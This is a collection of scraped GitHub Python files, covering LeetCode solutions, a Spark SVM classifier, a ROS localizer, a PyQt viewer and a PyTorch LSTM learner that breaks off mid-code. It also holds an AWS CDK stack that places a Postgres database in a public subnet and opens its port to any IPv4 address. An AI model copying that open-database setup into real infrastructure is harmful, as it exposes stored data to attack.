{"seq_id":"34066149514","text":"import docker\n\n\nclient = docker.from_env()\n\n\ndef add_delay(container_name, milliseconds=0):\n    print(f\"Adding network delay of {milliseconds}ms\")\n    container = client.containers.get(container_name)\n    tc_cmd = f\"tc qdisc add dev eth0 root netem delay {milliseconds}ms\"\n    _, stream =  container.exec_run(tc_cmd, stream=True)\n    for byte_stream in stream:\n        print(byte_stream.decode('utf-8'))","repo_name":"JonathanJustavino/quic-benchmark","sub_path":"traffic/delay.py","file_name":"delay.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"18"}
{"seq_id":"42788695260","text":"class Solution:\n    def shortestDistance(self, wordsDict: List[str], word1: str, word2: str) -> int:\n        d = {}\n        for i in range(len(wordsDict)):\n            word = wordsDict[i]\n            \n            if word not in d:\n                d[word] = [] \n            \n            d[word].append(i)\n        \n        \n        res = float('inf')\n        \n        for indx1 in d[word1]:\n            for indx2 in d[word2]:\n                res = min(res, abs(indx1 - indx2))\n            \n        return res\n","repo_name":"shantanu609/Leetcode","sub_path":"shortest-word-distance/shortest-word-distance.py","file_name":"shortest-word-distance.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"2960533577","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# @carolio7\n\n# import des python librairies\nimport sys, re, subprocess\nimport numpy as np\nimport pandas as pd\nimport itertools\n\n# import libraries spark\nfrom pyspark import SparkContext, SparkConf\nfrom pyspark.mllib.regression import LabeledPoint\nfrom pyspark.mllib.classification import SVMWithSGD\nfrom pyspark import StorageLevel\n\n#import des librairies pour S3\nimport s3fs\n\n\n# initialization de spark et connection en aws S3\nconf = SparkConf().setAppName(\"Solution 2\")\nsc = SparkContext.getOrCreate(conf=conf)\n\nfs = s3fs.S3FileSystem(anon=False)\n\n\n# initialisation des fonctions parametrant notre programe\n# Chemins AWS S3 du répertoire contenant les features en json\nargument =  sys.argv[1]     # ou égal à 's3://projet2oc-rasambatra/exemple/' pour tester\n\n# variable correspondant aux coefficients de split du dataset \nseparations = np.linspace(0.0003, 0.8, 10)   #Pour varier le nombre de data dans Training set\n\nBUCKET_DESTINATION = 's3://projet2oc-rasambatra/' # le bucket où le programme va mettre les fichieers output\n\n\n\n# Fonctions pour notre programme\n\ndef lire_json_features(fichier):\n    \"\"\"\n        Fonction lisant un fichier .json donné en paramètre \n        et retourne une tuple composé du nom du fichier et liste des features\n            \n        Attention: le repertoire doit se terminer par un slash /\n    \"\"\"\n    label = re.sub(r'[0-9]','', fichier).split('/')[-1]     # Extraire le nom du pet a part du chemin du fichier\n    label = label[:-9].strip('_')      # Enleve les extention .jpg.json au nom du fichier\n    for line in fs.open('s3://' + fichier, 'r'):\n                values = line.strip('[]').split(',')\n                values = [float(x) for x in values]\n\n    return (label,values)\n\n\n\n\n\ndef load_features_to_tuple(directory):\n    \"\"\"\n    Fonction pour filtrer les fichiers .json dans un répertoire\n        et retourne un rdd contenant des tuples (label du fichier, features)\n            \n    Attention: le repertoire doit se terminer par un slash / \n    \"\"\"\n\n    les_features_rdd = sc.parallelize(fs.ls(directory))\\\n                        .filter(lambda fichier: fichier[-4:] == 'json')\\\n                        .map(lambda les_json: lire_json_features(les_json))\n    \n    return les_features_rdd\n\n\n\n\n\ndef etiqueter_one_vs_all(dataset, un_label):\n    \"\"\"\n        Fonction lisant un rdd de plusieurs tuples (label, feature):\n            - convertit chaque tuple en LabelPoint \n                correspondant à la classification One-versus-All\n                   » etiquette 1 si le label est égal à l'argument\n                   » sinon etiquette 0 \n\n            - retourne une liste de LabelPoint de l'argument (Label 1) versus Rest\n    \"\"\"\n\n    dataset_labeled_rdd = dataset\\\n        .map(lambda untupl: LabeledPoint(1, untupl[1]) if (untupl[0]== un_label) else LabeledPoint(0, untupl[1]))\n    \n    return dataset_labeled_rdd\n\n\n\ndef etiqueter_one_vs_one(dataset, un_label, autre_label):\n\n    \"\"\"\n        Fonction lisant une liste de plusieurs tuples (label, feature):\n            - filte les tuples avec label correspondant aux deux arguments seulements \n            - convertit chaque tuple en LabelPoint \n                correspondant à la classification One-Versus-One\n                   » etiquette 1 si le label est égal au premier argument\n                   » sinon etiquette 0 pour le second\n\n            - retourne une liste de LabelPoint du 1er arg (Label 1) versus Znd arg (Label 0)\n    \"\"\"\n\n    dataset_labeled_rdd = dataset\\\n        .filter(lambda line: (line[0]==un_label) or (line[0]==autre_label))\\\n        .map(lambda untupl: LabeledPoint(1.0, untupl[1]) if (untupl[0]== un_label)\\\n             else LabeledPoint(0.0, untupl[1]))\n    \n    return dataset_labeled_rdd\n\n\n\ndef modelWithSVM(dataset_labeled, les_splits):\n    \"\"\"\n        Entainer le modele en utilisant Support Vector Machines \n            avec different split du dataset.\n        Retourne un dictionnaire du le nombre de Training set et la précision obenue\n    \"\"\"\n\n    visualizationData = {}\n    \n    for split in les_splits:\n        trainingData, validationData = dataset_labeled.randomSplit([split, 1.0-split], seed=2)\n        trainingData.persist(StorageLevel.MEMORY_AND_DISK)\n        validationData.persist(StorageLevel.MEMORY_AND_DISK)\n\n        if ((trainingData.isEmpty() == False) and (validationData.isEmpty() == False)):\n            model = SVMWithSGD.train(trainingData, iterations=100, step=1.0, regParam=0.01)\n            predict = validationData.map(lambda ad: (ad.label, model.predict(ad.features)))\n            totalValidationData = validationData.count()\n            correctlyPredicted = predict.filter(lambda x: x[0] == x[1]).count()\n            accuracy = float(correctlyPredicted) / totalValidationData\n\n            visualizationData[trainingData.count()] = accuracy\n\n\n        trainingData.unpersist()\n        validationData.unpersist()\n\n    return visualizationData\n\n\n\n\ndef apprendre_one_vs_all(dataset_rdd, label, split_list):\n\n    \"\"\"\n        -Etiquetter le dataset avec le label\n        -séparer avec le coefficient du split_list parcouru\n        -entrainer\n        Retourne un pandas dataframe dela précision obenue en fonction du nombre de Training set\n        utilisé pour l'entrainement\n    \"\"\"\n\n    data_labeled_ovr = etiqueter_one_vs_all(dataset_rdd, label)\n    visualizationData_ovr = modelWithSVM(data_labeled_ovr, split_list)\n    print('Performance : ', visualizationData_ovr)\n    return pd.DataFrame(visualizationData_ovr, index=[label])\n\n\n\ndef apprendre_one_vs_one(dataset_rdd, tuple_label, split_list):\n\n    \"\"\"\n        -Etiquetter le dataset avec le label\n        -séparer avec le coefficient du split_list parcouru\n        -entrainer\n        Retourne un pandas dataframe dela précision obenue en fonction du nombre de Training set\n        utilisé pour l'entrainement\n    \"\"\"\n    \n    data_labeled_ovo = etiqueter_one_vs_one(dataset_rdd, tuple_label[0], tuple_label[1])\n    visualizationData_ovo = modelWithSVM(data_labeled_ovo, split_list)\n    print('Performance : ', visualizationData_ovo)\n    return pd.DataFrame(visualizationData_ovo, index=[tuple_label[0] + '-vs-' + tuple_label[1]])\n\n\n\n\ndef _write_dataframe_to_csv_on_s3(dataframe, filename):\n    \"\"\" Ecrire un dataframe au format CSV sur S3 \"\"\"\n    print(\"Writing {} records to {}\".format(len(dataframe), filename))\n    bytes_to_write = dataframe.to_csv(None).encode()\n    with fs.open(BUCKET_DESTINATION + filename, 'wb') as f:\n        f.write(bytes_to_write)\n\n\n\n\n\nprint('-----------------------------------------------')\nprint('>>>>>>>>>>>>>>>> Début du programme')\n\n\n\nprint('»»»»»»»»»»»»»»»»»»»»»        Partie 1    ««««««««««««««««««««««««««')\nprint('>>>>>>>>>>>>>>> Lecture des features')\n\n\nfeatures_list_rdd = load_features_to_tuple(argument).persist(StorageLevel.MEMORY_AND_DISK)\n# Extraction du nom des pets dans le dataset features_list\nles_labels = features_list_rdd.keys().distinct().collect()\n\nprint(\"voici les labels : \")\nprint(les_labels)\n\nprint('>>>> Fin de lecture des features')\nprint('»»»»»»»»»»»»»»»»»»»»»    Fin - Partie 1    ««««««««««««««««««««««««««')\n\n\n\n\n\n\nprint('»»»»»»»»»»»»»»»»»»»»»    Partie 2    ««««««««««««««««««««««««««')\nprint('>>>> Entrainement du model SVMWithSGD One-versus-All <<<<<<<<<<<<<<<<<<<<')\n\n\nresult_ovr = pd.DataFrame()\n\n\nfor animal in les_labels:\n    print('*********************   Debut - Entrainement {}-versus-All   *******************'.format(animal))\n\n    un_dataframe_ova = apprendre_one_vs_all(features_list_rdd, animal, separations)\n\n    result_ovr = result_ovr.append(un_dataframe_ova)\n    \n    print('*********************   Fin - Entrainement {}-versus-All   *******************'.format(animal))\n\n\nprint(' VOICI LE TABLEAU DES PRECISIONS DU MODEL :')\nprint(result_ovr)\n\nprint('>>>> Fin entrainement du model SVMWithSGD One-versus-All <<<<<<<<<<<<<<<<<<<<')\nprint('»»»»»»»»»»»»»»»»»»»»»    Fin - Partie 2    ««««««««««««««««««««««««««')\n\n\n\n\n\n\nprint('»»»»»»»»»»»»»»»»»»»»»    Partie 3    ««««««««««««««««««««««««««')\nprint('>>>> Entrainement du model SVMWithSGD One-versus-One <<<<<<<<<<<<<<<<<<<<')\n\nresult_ovo = pd.DataFrame()\n# Création de couple de label deux par deux\npaires = list(itertools.combinations(les_labels, r=2))\nprint('VOICI LES MODELS A ENTRAINER :')\nprint(paires)\n\n\nfor unePaire in paires:\n    print('**********    Debut - Entrainement {}-versus-{}      ************'.format(unePaire[0],unePaire[1]))\n    \n    un_dataframe_ovo = apprendre_one_vs_one(features_list_rdd, unePaire, separations)\n\n    result_ovo = result_ovo.append(un_dataframe_ovo)\n    \n    print('*************   Fin - Entrainement {}-versus-{}   *************'.format(unePaire[0],unePaire[1]))\n\n\n\n\nprint(' VOICI LE TABLEAU DES PRECISIONS DU MODEL :')\nprint(result_ovo)\n\n\nprint('>>>> Fin entrainement du model SVMWithSGD One-versus-One <<<<<<<<<<<<<<<<<<<<')\nprint('»»»»»»»»»»»»»»»»»»»»»    Fin - Partie 3    ««««««««««««««««««««««««««')\n\n\n\n\n\n\n\n\nprint('*********************    Sauvegarde des dataframes dans bucket S3      ******************************')\n\n# Sauver les dataframes obtenus dans le bucket S3\n_write_dataframe_to_csv_on_s3(result_ovr, 'output/result_ONE_VS_ALL_10_split.csv')\n\n_write_dataframe_to_csv_on_s3(result_ovo, 'output/result_ONE_VS_ONE_10_split.csv')\n\n\nprint('*********************    Fin des sauvegardes      ******************************')\n\n\nprint('>>>>>>>>>>>>>>>>>>>>> Fin du programme')\n","repo_name":"carolio7/pets_classifier_aws","sub_path":"codes/P2_01_script_spark_classifieur.py","file_name":"P2_01_script_spark_classifieur.py","file_ext":"py","file_size_in_byte":9719,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"30816906751","text":"#!/usr/bin/env python\n#Reinaldo Maslim, NTU Merlion 2018\n\nimport rospy\nimport math\nimport cv2\nfrom cv_bridge import CvBridge\nimport numpy as np\nfrom geometry_msgs.msg import Pose, Point, Quaternion, Twist, PoseArray, Vector3\nfrom sensor_msgs.msg import PointCloud2, Image, Imu\nfrom nav_msgs.msg import Odometry\nfrom tf.transformations import euler_from_quaternion, quaternion_from_euler\nfrom visualization_msgs.msg import MarkerArray, Marker\nimport tf\nimport time\n\nimport random\n\nfrom tiles import Tile\n\n#################################\n##############class##############\n#################################\n\nclass Localizer(object):\n    x, y, z=0, 0, 0.8\n\n    r, p, yaw=0, 0, 0\n\n\n    def __init__(self, nodename, drive=None):\n        rospy.init_node(nodename, anonymous=False)\n        self.bridge = CvBridge()\n\n        ####Subscribers####\n        #sub to downward cam as main for localizer\n        rospy.Subscriber(\"/merlion/control/cmd_vel\", Twist, self.cmd_vel_callback, queue_size = 1)\n\n\n        ####Publishers####\n        self.vodom_pub=rospy.Publisher('/visual_odom', Odometry, queue_size=1)\n\n        \n        rate=rospy.Rate(10)\n\n        while not rospy.is_shutdown():\n            self.pub_sim_odom()\n\n            rate.sleep()\n\n    def pub_sim_odom(self):\n\n        #if it's the first time, memorize its initial readings\n        br = tf.TransformBroadcaster()\n\n        br.sendTransform((self.x, self.y, self.z),\n                         tf.transformations.quaternion_from_euler(self.r, self.p, self.yaw),\n                         rospy.Time.now(),\n                         \"base_link\",\n                         \"map\")\n        \n        #publish odometry\n        odom=Odometry()\n        odom.header.frame_id = \"map\"\n        odom.pose.pose.position.x=self.x\n        odom.pose.pose.position.y=self.y\n        odom.pose.pose.position.z=self.z\n        q=Quaternion()\n        q.x, q.y, q.z, q.w=tf.transformations.quaternion_from_euler(self.r, self.p, self.yaw)\n        odom.pose.pose.orientation=q\n        self.vodom_pub.publish(odom)\n\n    def cmd_vel_callback(self, msg):\n        if msg.angular.x==50:\n            return\n\n        noise=random.random()*0.2-0.2/2\n        self.x+=(msg.linear.x)*math.cos(self.yaw)-(msg.linear.y)*math.sin(self.yaw)#+noise\n        noise=random.random()*0.2-0.2/2\n        self.y+=msg.linear.x*math.sin(self.yaw)+msg.linear.y*math.cos(self.yaw)#+noise\n\n        new_angle=self.yaw+msg.angular.z\n\n        self.yaw=math.atan2(math.sin(new_angle), math.cos(new_angle))\n        \n\n\n\n##########################\n##########main############\n##########################\n\n\n\nif __name__ == '__main__':\n\n    try:\n        Localizer(nodename=\"localizer\", drive=None)\n    except rospy.ROSInterruptException:\n        rospy.loginfo(\"finished.\")\n","repo_name":"anhpngt/merlion_sauvc","sub_path":"merlion_perception/nodes/localizer_sim.py","file_name":"localizer_sim.py","file_ext":"py","file_size_in_byte":2751,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"}
{"seq_id":"37304828814","text":"# class Solution:\n#     def isAdjacent(a, b, c, d):\n#         if a == c and abs(b - d) == 1:\n#             return True\n#         if b == d and abs(a - c) == 1:\n#             return True\n#         return False\n    \n#     def exist(self, board: List[List[str]], word: str) -> bool:\n#         m = len(board)\n#         n = len(board[0])\n#         wlen = len(word)\n#         pos = [[] for c in word]\n#         for i in range(m):\n#             for j in range(n):\n#                 for k in range(wlen):\n#                     if word[k] == board[i][j]:\n#                         pos[k].append((i, j))\n#         paths = [[i] for i in pos[0]]\n#         while len(paths) > 0:\n#             curr = paths.pop(0)\n#             currlen = len(curr)\n#             lastcell = curr[-1]\n#             if currlen == wlen:\n#                 return True\n#             if currlen < wlen:\n#                 for x, y in pos[currlen + 1]:\n#                     if (x, y) not in curr and self.isAdjacent(lastcell, x, y):\n#                         paths.append(curr + [(x, y)])\n#         return False\n\nclass Solution:\n    def getNeighbors(self, i, j, m, n):\n        nb = []\n        if i > 0:\n            nb.append((i - 1, j))\n        if i < m - 1:\n            nb.append((i + 1, j))\n        if j > 0:\n            nb.append((i, j - 1))\n        if j < n - 1:\n            nb.append((i, j + 1))\n        return nb\n    \n    def isPossible(self, board, m, n, pos, word, i, used):\n        if i == len(word) - 1:\n            return True\n        neighbors = self.getNeighbors(pos[0], pos[1], m, n)\n        for a, b in neighbors:\n            if (a, b) not in used and board[a][b] == word[i + 1]:\n                if self.isPossible(board, m, n, (a, b), word, i + 1, used.union({(a, b)})):\n                    return True\n        return False\n    \n    def exist(self, board: List[List[str]], word: str) -> bool:\n        m = len(board)\n        n = len(board[0])\n        wlen = len(word)\n        for i in range(m):\n            for j in range(n):\n                if board[i][j] == word[0]:\n                    if self.isPossible(board, m, n, (i, j), word, 0, {(i, j)}):\n                        return True\n        return False","repo_name":"theabbie/leetcode","sub_path":"word-search.py","file_name":"word-search.py","file_ext":"py","file_size_in_byte":2181,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"18"}
{"seq_id":"40352437581","text":"\"\"\"\nCloudFormation stack to deploy the resources needed for `aws-dev` development mode.\n\n\"\"\"\n\nimport random\nimport string\nfrom pathlib import Path\nfrom aws_cdk import (\n    core,\n    aws_s3 as s3,\n    aws_ec2 as ec2,\n    aws_rds as rds,\n    aws_ssm as ssm\n)\n\n\nclass SorterBotDevStack(core.Stack):\n    def __init__(self, scope, id, **kwargs):\n        super().__init__(scope, id, **kwargs)\n\n        # Create random string to be used as suffix on some resource names\n        resource_suffix = ''.join(random.choice(string.ascii_lowercase) for i in range(8))\n\n        # Save it as SSM parameter to be used in runtime\n        ssm.StringParameter(self, \"RESOURCE_SUFFIX\", string_value=resource_suffix, parameter_name=\"RESOURCE_SUFFIX\")\n\n        # Save it to disk to be used when destroying\n        with open(Path(__file__).parents[1].joinpath(\"scripts\", \"variables\", \"RESOURCE_SUFFIX\"), \"w\") as outfile:\n            outfile.write(resource_suffix)\n\n\n        # ====================================== VPC ======================================\n        # Create VPC\n        vpc = ec2.Vpc(\n            self,\n            \"sorterbot-vpc\",\n            cidr=\"10.0.0.0/16\",\n            enable_dns_support=True,\n            enable_dns_hostnames=True,\n            max_azs=2,\n            nat_gateways=0,\n            subnet_configuration=[\n                {\n                    \"subnetType\": ec2.SubnetType.PUBLIC,\n                    \"name\": \"sorterbot-public-subnet-a\",\n                    \"cidrMask\": 24,\n                },\n                {\n                    \"subnetType\": ec2.SubnetType.PUBLIC,\n                    \"name\": \"sorterbot-public-subnet-b\",\n                    \"cidrMask\": 24,\n                },\n            ]\n        )\n\n        # Create security groups\n        sg_vpc = ec2.SecurityGroup(\n            self,\n            \"sorterbot-vpc-sg\",\n            vpc=vpc,\n            allow_all_outbound=True,\n            security_group_name=\"sorterbot-vpc-sg\"\n        )\n        sg_vpc.add_ingress_rule(sg_vpc, ec2.Port.all_traffic())\n\n        # ====================================== S3 ======================================\n        # Create S3 bucket\n        s3.Bucket(self, f\"sorterbot-{resource_suffix}\", bucket_name=f\"sorterbot-{resource_suffix}\", removal_policy=core.RemovalPolicy.DESTROY)\n\n\n        # ====================================== RDS ======================================\n        # Declare connection details\n        master_username = \"postgres\"\n        master_user_password = core.SecretValue.ssm_secure(\"PG_PASS\", version=\"1\")\n        port = 5432\n\n        # Create postgres database\n        database = rds.DatabaseInstance(\n            self,\n            \"sorterbot-postgres\",\n            allocated_storage=10,\n            backup_retention=core.Duration.days(0),  # Don't save backups since storing them is not covered by the Free Tier\n            database_name=\"sorterbot\",\n            delete_automated_backups=True,\n            deletion_protection=False,\n            engine=rds.DatabaseInstanceEngine.POSTGRES,\n            engine_version=\"11\",\n            instance_class=ec2.InstanceType(\"t2.micro\"),  # Stay in Free Tier\n            instance_identifier=\"sorterbot-postgres\",\n            master_username=master_username,\n            master_user_password=master_user_password,\n            port=port,\n            storage_type=rds.StorageType.GP2,\n            vpc=vpc,\n            vpc_placement=ec2.SubnetSelection(subnet_type=ec2.SubnetType.PUBLIC),  # Make DB publicly accessible (with credentials)\n            removal_policy=core.RemovalPolicy.DESTROY\n        )\n\n        # Add ingress rule to allow external connections\n        database.connections.allow_default_port_from_any_ipv4()\n","repo_name":"simonszalai/sorterbot_installer","sub_path":"sorterbot_installer/sorterbot_dev_stack.py","file_name":"sorterbot_dev_stack.py","file_ext":"py","file_size_in_byte":3692,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"22326693683","text":"from django.conf.urls import url, patterns\n\nurlpatterns = patterns(\n    'management.views.note',\n    url(r'^$', 'note_list', name = 'management_note_list'),\n    url(r'^comment/$', 'note_comment_list', name = 'management_note_comment_list'),\n    url(r'^(?P<note_id>\\d+)/comment/(?P<comment_id>\\d+)/del/$', 'delete_note_comment', name = 'management_delete_note_comment'),\n    url(r'^(?P<note_id>\\w+)/edit/$', 'edit_note', name = 'management_edit_note'),\n    url(r'^(?P<note_id>\\w+)/freeze/$', 'freeze_note', name = 'management_freeze_note'),\n    url(r'^arrange/selection/$', 'arrange_selection', name = 'management_arrange_selection'),\n)\n\n__author__ = 'edison7500'\n","repo_name":"guoku/Raspberry","sub_path":"raspberry/management/urls/note.py","file_name":"note.py","file_ext":"py","file_size_in_byte":663,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"12373188059","text":"import random\r\nfrom scipy.stats import expon\r\nfrom station import Station\r\n\r\n\r\nclass Parameters:\r\n    '''Initialize the parameter setting for our model, parameter setting can be \r\n    modified according to the user's preference'''\r\n    def __init__(self, nr_buses):\r\n        self.nr_of_buses = nr_buses\r\n        self.capacity_bus = 100\r\n        self.delay_prop = 0.1\r\n        self.station_names = ['A', 'B', 'C', 'D']\r\n        self.next_station = {'A':'B', 'B':'C', 'C':'D', 'D':'A'}\r\n        self.travel_time_dict = {'A':720, 'B':900, 'C':1020, 'D':840}\r\n        self.routing_dict = {'A':{'B':0.20, 'C':0.45,'D':0.35}, \r\n                             'B':{'A':0.15, 'C':0.35,'D':0.50},\r\n                             'C':{'A':0.55, 'B':0.15,'D':0.30},\r\n                             'D':{'A':0.40, 'B':0.35,'C':0.25}}\r\n\r\n    '''The number or arrivals per day at each station is modeled dynamically with similar values over the day'''\r\n    def intArrTime(self, day_time, station):\r\n        if day_time < 3600:\r\n            arr_dict = {'A':180,'B':175,'C':145,'D':150}\r\n        elif day_time < 7200:\r\n            arr_dict = {'A':180,'B':175,'C':145,'D':150}\r\n        elif day_time < 10800:\r\n            arr_dict = {'A':180,'B':175,'C':145,'D':150}\r\n        elif day_time < 14400:\r\n            arr_dict = {'A':180,'B':175,'C':145,'D':150}\r\n        elif day_time < 18000:\r\n            arr_dict = {'A':180,'B':175,'C':145,'D':150}\r\n        elif day_time < 21600:\r\n            arr_dict = {'A':180,'B':175,'C':145,'D':150}\r\n        elif day_time < 25200:\r\n            arr_dict = {'A':180,'B':175,'C':145,'D':150}\r\n        elif day_time < 28800:\r\n            arr_dict = {'A':180,'B':175,'C':145,'D':150}\r\n        elif day_time < 32400:\r\n            arr_dict = {'A':180,'B':175,'C':145,'D':150}\r\n        elif day_time < 36000:\r\n            arr_dict = {'A':180,'B':175,'C':145,'D':150}\r\n        elif day_time < 39600:\r\n            arr_dict = {'A':180,'B':175,'C':145,'D':150}\r\n        elif day_time < 43200:\r\n            arr_dict = {'A':180,'B':175,'C':145,'D':150}\r\n        station_id = station.station_id\r\n        return round(1/(arr_dict[station_id]/3600), 4)\r\n\r\n    def boardingTime(self):\r\n        random_nr = random.random()\r\n        if random_nr < self.delay_prop:\r\n            boarding_time = 190 # 3 min + 10 seconds delay\r\n        else:\r\n            boarding_time = 180 # Regular 3 min boarding\r\n        return boarding_time\r\n        \r\n    def findDestStation(self, origin_station_id):\r\n        props = self.routing_dict\r\n        dest_ids = list(props[origin_station_id].keys())\r\n        dest_probs = list(props[origin_station_id].values())\r\n        destination_station = random.choices(dest_ids, weights=dest_probs)[0]\r\n        return destination_station","repo_name":"NielsHaenen/Discrete-Event-Simulation-of-a-Transportation-Network","sub_path":"parameters.py","file_name":"parameters.py","file_ext":"py","file_size_in_byte":2753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"72751089640","text":"from PyQt5.uic import loadUi\nfrom PyQt5.QtWidgets import  QMainWindow,QApplication\nfrom PyQt5.QtCore import pyqtSlot\nfrom PyQt5.QtGui import QImage, QPixmap\nfrom process import Video\n\nclass Janela(QMainWindow):\n    def __init__(self):\n        super(Janela,self).__init__()\n        loadUi(\"interface.ui\", self)\n        self.vs=Video()\n        self.vs.change_pixmap.connect(self.frame_update)\n\n    @pyqtSlot()\n    def on_pushButton_start_clicked(self):\n        if not self.vs.isRunning():\n            self.vs.stop=False\n            self.vs.start()\n\n    @pyqtSlot()\n    def on_pushButton_stop_clicked(self):\n        self.vs.stop=True\n\n    @pyqtSlot(QImage)\n    def frame_update(self,image):\n        self.label_video.setPixmap(QPixmap.fromImage(image))\n\nif __name__ == \"__main__\":\n    import sys\n    app=QApplication(sys.argv)\n    my_janela=Janela()\n    my_janela.show()\n    app.exec_()\n\n\n","repo_name":"eltonfernando/eltonOpencv","sub_path":"pyqt5_opencv/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":885,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"18"}
{"seq_id":"25217408042","text":"# https://leetcode.com/problems/find-the-duplicate-number/\nfrom typing import List\n\n\nclass Solution:\n    # Idea: Use hair and tortoise derived algorithm to find the duplicate\n    def findDuplicate(self, nums: List[int]) -> int:\n        slow = nums[0]\n        fast = nums[nums[0]]\n        while slow != fast:\n            slow = nums[slow]\n            fast = nums[nums[fast]]\n\n        fast = 0\n        while slow != fast:\n            slow = nums[slow]\n            fast = nums[fast]\n\n        return slow\n\n\nif __name__ == \"__main__\":\n    sol = Solution()\n\n    assert sol.findDuplicate(nums=[1, 3, 4, 2, 2]) == 2\n    assert sol.findDuplicate(nums=[2, 2, 2, 2, 2]) == 2\n","repo_name":"ronelzb/leetcode","sub_path":"problems/top_interview_questions/0287_find_the_duplicate_number.py","file_name":"0287_find_the_duplicate_number.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"3271075318","text":"\nimport os\n\nfrom tqdm import tqdm\nimport pandas as pd\nimport numpy as np\nfrom typing import Union\n\nimport torch\nfrom torch.optim import AdamW\n\nfrom metalearner.data.rawdata import load_raw_data\nfrom metalearner.data.ast_dataloader import load_ast_dataset\nfrom metalearner.model.recur_net import Model_Recursive_LSTM_v2\nfrom metalearner.learner.base_learner import BaseLearner\nfrom utils.util import warn_once, notify, read_yes, TrainTestPair\nfrom metalearner.learn_utils import CMOutput\n\nfrom os import environ\nenviron['train_device'] = 'cuda:0' # training device: 'cpu' or 'cuda:X'\nenviron['store_device'] = 'cuda:0' # Data storing device:  'cpu' or 'cuda:X'\ntrain_device= torch.device(environ.get('train_device', \"cuda\"))\nstore_device= torch.device(environ.get('store_device', \"cuda\"))\n\ndef mape_criterion(outputs, labels):\n    eps = 1e-5\n    return 100 * torch.mean(torch.abs((labels - outputs)/(labels + eps)))\n\ndef mse_criterion(outputs, labels):\n    return torch.nn.MSELoss()(labels, outputs)\n\nclass RecurLSTMLearner(BaseLearner):\n    def __init__(self, disable_norm, loss_func_name,\n            residual=False, input_size=164, **kwargs):\n        super(RecurLSTMLearner, self).__init__(**kwargs)\n\n        if loss_func_name.lower() == \"mape\":\n            self.loss_func = mape_criterion\n        elif loss_func_name.lower() == \"mse\":\n            self.loss_func = mse_criterion\n        else:\n            raise ValueError()\n        self.loss_func_name = loss_func_name\n\n        self.model = Model_Recursive_LSTM_v2(input_size, disable_norm, residual=residual, drops=[0.112, 0.112, 0.112, 0.112])\n        print(f\"Model parameter count: {self.model.para_cnt()}\")\n        self.init_device()\n\n        self.lr_scheduler = 'one_cycle'\n\n    def init_optimizer(self):\n        self.optimizer = AdamW(self.model.parameters(), weight_decay=0.375e-2)\n    \n    def _inference(self, inputs) -> CMOutput:\n        outputs = self.model(inputs)\n        # inputs = (inputs[0], inputs[1].to(original_device))\n        return CMOutput(outputs)\n    \n    def _loss(self, outputs: CMOutput, labels):\n        loss = self.loss_func(outputs.preds, labels)\n        return loss\n\n    def add_monotir_summary(self, outputs: CMOutput, x, y, loss):\n        if self.monitor.is_summary:\n            self.monitor.summary([\n                (\"scalar\", \"Loss/Train\", loss),\n            ])\n        \n    def init_device(self):\n        self.normed_zero_output = None\n        if self.data_meta_info is not None:\n            if self.use_clip:\n                self.normed_zero_output = torch.Tensor(\n                        [self.data_meta_info.standardize_output(0)])\n            self.output_avg = self.data_meta_info.output_avg\n            self.output_std = self.data_meta_info.output_std\n        else:\n            self.output_avg = None\n            self.output_std = None\n\n        if self.train_device:\n            self.model.to(self.train_device)\n            if self.normed_zero_output is not None:\n                self.normed_zero_output = self.normed_zero_output.to(self.train_device)\n\n    def data_to_train_device(self, inputs, labels):\n        if self.train_device and labels.device != self.train_device:\n            return (inputs[0], inputs[1].to(train_device)), labels.to(train_device)\n        else:\n            return inputs, labels\n\n    def prepare_test_pair(self, val_data, verbose=True):\n        val_xs, val_ys, val_dis = zip(*val_data)\n        return val_xs, val_ys, val_dis\n        \n    def train_one_batch(self, inputs, labels):\n        self.model.train()\n        # original_device = labels.device\n        inputs, labels = self.data_to_train_device(inputs, labels)\n        self.cached_data[\"train\"] = (inputs, labels)\n        # zero the parameter gradients\n        self.optimizer.zero_grad()\n        ### Forward\n        # track history if only in train\n        with torch.set_grad_enabled(True):\n            outputs = self._inference(inputs)  \n\n            assert outputs.preds.shape == labels.shape\n            loss = self._loss(outputs, labels)\n            self.add_monotir_summary(outputs, inputs, labels, loss)\n            if self.loss_func_name != \"mape\":\n                mape = mape_criterion(outputs.preds, labels)\n            else:\n                mape = loss\n            ### Backward + optimize only if in training phase\n            loss.backward()\n            self.optimizer.step()\n        \n        for hook in self.batch_hooks:\n            hook()\n        # print(self.monitor.epoch_cnt, self.monitor.train_step, loss)\n        ### Summary, check and cache\n        self.monitor.step()\n        if self.monitor.is_cache:\n            if self.monitor.epoch_cnt > 2:\n                self.check_exit()\n        # labels = labels.to(original_device)\n\n        # ### debug\n        # if self.monitor.train_step > 3:\n        #     print(self.monitor.train_step)\n        #     self.stop_training()\n        \n        return loss\n\n    def train_model(self, dataloader_dict, num_epochs=100, log_every=5):\n        self.stop_checker.max_epoch = num_epochs\n        self.model.register_hooks_for_grads_weights(self.monitor)\n        self.train(TrainTestPair(dataloader_dict[\"train\"], dataloader_dict[\"val\"]))\n\n    def loss(self, outputs: CMOutput, dataset_or_x, y):\n        return self._loss(outputs, y)\n\n    def predict(self, *args, **kwargs):\n        self.model.eval()\n        return super().predict(*args, **kwargs)\n    \n    def forward_compute_metrics(self, input_data, element_wise_test=False):\n        self.model.eval()\n        all_preds = []\n        all_labels = []\n        if isinstance(input_data, torch.utils.data.DataLoader):\n            for batch_x, batch_y, _ in input_data:\n                for idx in range(len(batch_x)):\n                    _x, _y = batch_x[idx], batch_y[idx]\n                    _x, _y = self.data_to_train_device(_x, 